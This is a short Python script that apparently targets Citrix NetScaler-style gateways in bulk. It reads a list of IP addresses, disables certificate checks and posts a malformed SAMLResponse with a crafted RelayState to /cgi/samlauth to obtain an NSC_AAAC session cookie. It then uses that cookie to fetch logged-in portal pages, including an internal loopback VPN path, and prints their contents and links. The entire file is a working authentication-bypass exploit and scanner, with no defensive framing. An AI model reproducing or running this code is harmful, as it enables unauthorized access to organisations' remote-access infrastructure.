import base64, re, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(ip, path, cookie=None, data=None, timeout=20):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = op().open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", x.read(400000).decode("utf-8", "replace"), (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", e.read(400000).decode("utf-8", "replace"), (e.headers.get_all("Set-Cookie") or [])
    except Exception as e:
        return None, "", type(e).__name__, []


def mint(ip):
    body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
    st, loc, b, cks = call(ip, "/cgi/samlauth", None, body)
    ck = [c.split(";")[0] for c in cks if c.startswith("NSC_AAAC") and "xyz" not in c.split(";")[0]]
    return (ck[0] if ck else None)


PATHS = [
    "/logon/themes/Default/homepage.html",
    "/cvpn/http/127.0.0.1/vpns/services.html",
    "/logon/LogonPoint/index.html",
]


def main():
    for ip in [l.strip() for l in open(sys.argv[1]) if l.strip()]:
        ck = mint(ip)
        print("========", ip, "cookie", bool(ck), flush=True)
        if not ck:
            continue
        for p in PATHS:
            st, loc, b, _ = call(ip, p, ck)
            print("---", p, st, loc, "len=%d" % len(b), flush=True)
            txt = " ".join(b.split())
            print(txt[:600], flush=True)
            links = sorted(set(re.findall(r'(?:href|src|action|URL)=["\']?([^"\' >]{3,120})', b)))
            hosts = sorted(set(re.findall(r'https?://([A-Za-z0-9._-]{4,60})', b)))
            print("  LINKSHOSTS:", hosts[:20], flush=True)
            print("  LINKS:", links[:20], flush=True)


main()
